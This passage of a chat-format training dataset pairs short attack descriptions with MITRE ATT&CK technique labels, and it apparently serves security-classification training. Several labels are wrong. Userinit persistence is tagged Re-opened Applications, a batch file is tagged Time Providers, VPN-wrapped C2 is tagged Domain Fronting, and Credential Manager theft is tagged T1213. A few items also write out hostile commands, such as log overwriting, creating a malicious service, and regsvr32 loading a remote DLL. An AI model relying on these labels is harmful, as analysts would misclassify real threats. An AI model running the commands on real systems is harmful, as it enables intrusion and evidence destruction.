                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware replaces the default Windows password filter with a malicious DLL, enabling the threat actor to alter authentication tokens on the fly."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a cron job that nightly copies user documents and uploads them to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries execute malicious code by invoking rundll32.exe with a DLL payload."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining root, the intruder runs 'sudo > /var/log/secure' to overwrite the security log on a Unix system."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary queries public cloud asset databases like Shodan and Censys to locate servers running outdated software versions that could be exploited."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 leveraged a credential dumping utility to pull passwords from the Firefox password manager."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary hijacks an existing external partner's email account to gain trusted communication channels."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising a domain controller, an adversary reads the Group Policy Preference files containing embedded passwords for service accounts."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit triggers the DCOM service to spawn a command interpreter on a target machine, enabling command execution from afar."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider used a privileged account to run a disk‑wiping utility that permanently erases all stored data."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages PowerShell's Invoke-WebRequest cmdlet to download additional modules from a malicious URL."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker scrapes internal Confluence pages for architecture diagrams and network maps."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a hidden local account on a Windows workstation and assigns it to the Administrators group, then uses it to execute malicious payloads while remaining invisible to standard user listings."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code overwrites the master boot record and system registry entries, rendering the operating system unbootable."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses a script to recursively delete log files and temporary files after exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a misconfiguration, the attacker removed the firewall rule that blocked SSH access to all instances in the cloud."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code uses the SMTP protocol to send delete commands to the mail server, purging the inbox of any suspicious communications."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group leveraged a compromised service account to script the extraction of sensitive PDFs from SharePoint Online."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using deepfakes or AI-generated content for social engineering"
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan searches for encrypted email archives (.pst, .ost) on the system and uploads them to C2."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the setgid bit on a shared library to gain group-level privileges on a multi‑user system."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects code into legitimate applications to capture input fields in real time, sending the collected data to an external server."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A campaign employs the DCOM protocol to impersonate a legitimate service and copy files to a remote endpoint."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script updates the PATH entry in the registry so that Windows searches a compromised folder first."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a custom packer that removes all non-essential sections from binaries, resulting in a stripped payload that bypasses standard antivirus scans."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion edits the Userinit registry value to include a malicious script, causing it to execute on every user login."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious USB drive is configured to masquerade as a legitimate keyboard, injecting commands after being plugged in."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder modifies the registry to enable Remote Assistance, then uses the built‑in Windows Remote Assistance feature for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors retrieve stored VPN configuration profiles to obtain server addresses and credentials."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign drops a downloader that injects code into explorer.exe's memory to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Dynamic Data Exchange, the payload communicates with the system's shell to launch a hidden PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a known CVE in Chrome's password manager to extract saved credentials without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses LSB steganography to hide a cryptominer within an image that is shared over a corporate messaging platform."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used compromised credentials to enumerate SharePoint libraries and exfiltrate files."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During initialization, the malware executes 'ping -n 1' to a domain to trigger the OS resolver and capture the resolved IP."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor abuses the Docker Engine API without authentication to retrieve stored container secrets and environment variables."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor sets up a fake DHCP server on the local LAN, providing IP addresses that redirect all web traffic to a malicious proxy for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set creates a scheduled task that triggers a Python payload whenever the system clock hits 02:00 AM."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign includes a tool that automatically extracts and replays stored password hashes to gain admin rights."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker installs a forged code signing certificate on the victim machine to bypass application whitelisting and execute malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker edits the BCD store to set the safeboot option, allowing the malware to run with reduced defenses."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group stages a weaponized script by uploading it to a malicious WordPress plugin repository used by victims."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware utilizes an external VPN service to encapsulate its C2 communications within standard VPN traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code harvests configuration parameters from a system's startup scripts that contain credentials."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑exploitation script wiped all event logs via the Windows API, covering up credential dumping activity."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts driver names from the DriverObject structures in kernel memory."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script parses /proc/net/tcp to identify remote IP addresses the host is contacting."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a misconfigured SSH agent forwarding to intercept and take over a user’s remote shell."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a staged payload by uploading a hidden batch file to the system's startup directory."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes a Linux bash command \"iwlist scanning\" to discover available wireless networks on a compromised Linux system."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the GPO to allow non-admin users to install software with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtain and configure a botnet of IoT devices for use in future campaigns."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors forge a code signing certificate by exploiting a vulnerable certificate authority's issuance process."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses nslookup and dig commands to enumerate the DNS resolver configuration on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware encodes its command-and-control traffic using custom Base64 strings to hide the payload."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a custom protocol encapsulated within legitimate HTTP traffic to avoid network detection."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious batch file is dropped and run via cmd.exe to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker corrupts the stored firmware image on an IoT device to introduce a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs HTML smuggling to bypass network inspection by embedding a malicious payload in an image tag’s src attribute, which is decoded by client‑side JavaScript."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs a script that repeatedly tries thousands of password combinations against a corporate VPN login portal to guess user credentials."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor injects malicious code into a cloud function (AWS Lambda) to gain persistence and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised software update server distributes a malicious client binary that installs a remote access trojan."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages DLL search order hijacking by placing a malicious DLL in the same directory as a target executable, which the loader resolves before the legitimate DLL."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The espionage tool employs dynamic API resolution to hide the use of CryptDecrypt, building the function name in memory and invoking it via a resolved pointer."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages 'powershell -command \"New-Service -Name EvilSvc -BinaryPathName C:\\\\mal.exe\"' to create a service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder disables the 'Require signature when installing device drivers' setting, allowing unsigned drivers to be installed."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By inserting a rootkit into the OS kernel, the attacker was able to bypass security tools."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a credential dumping tool to obtain service accounts, then accesses the code repository via SSH."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware harvests credentials from Windows Credential Manager via API calls."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses signed driver packages to inject malicious code into the Windows System File (winload.exe)."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a command into the Logon Scripts policy that executes a downloader on user logon."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware employs the 'mshta.exe' utility to execute remote HTML Application (HTA) files."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware searches the %AppData% directory for .ost files to harvest Outlook offline storage."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script called regsvr32 with a UNC path to a network share, causing the system to load a malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor issues the `nltest /server:DC01 /domain_trusts` command to identify trusts between the compromised domain and others."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious binary includes a timer that triggers data collection of user profiles and sends them out daily."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
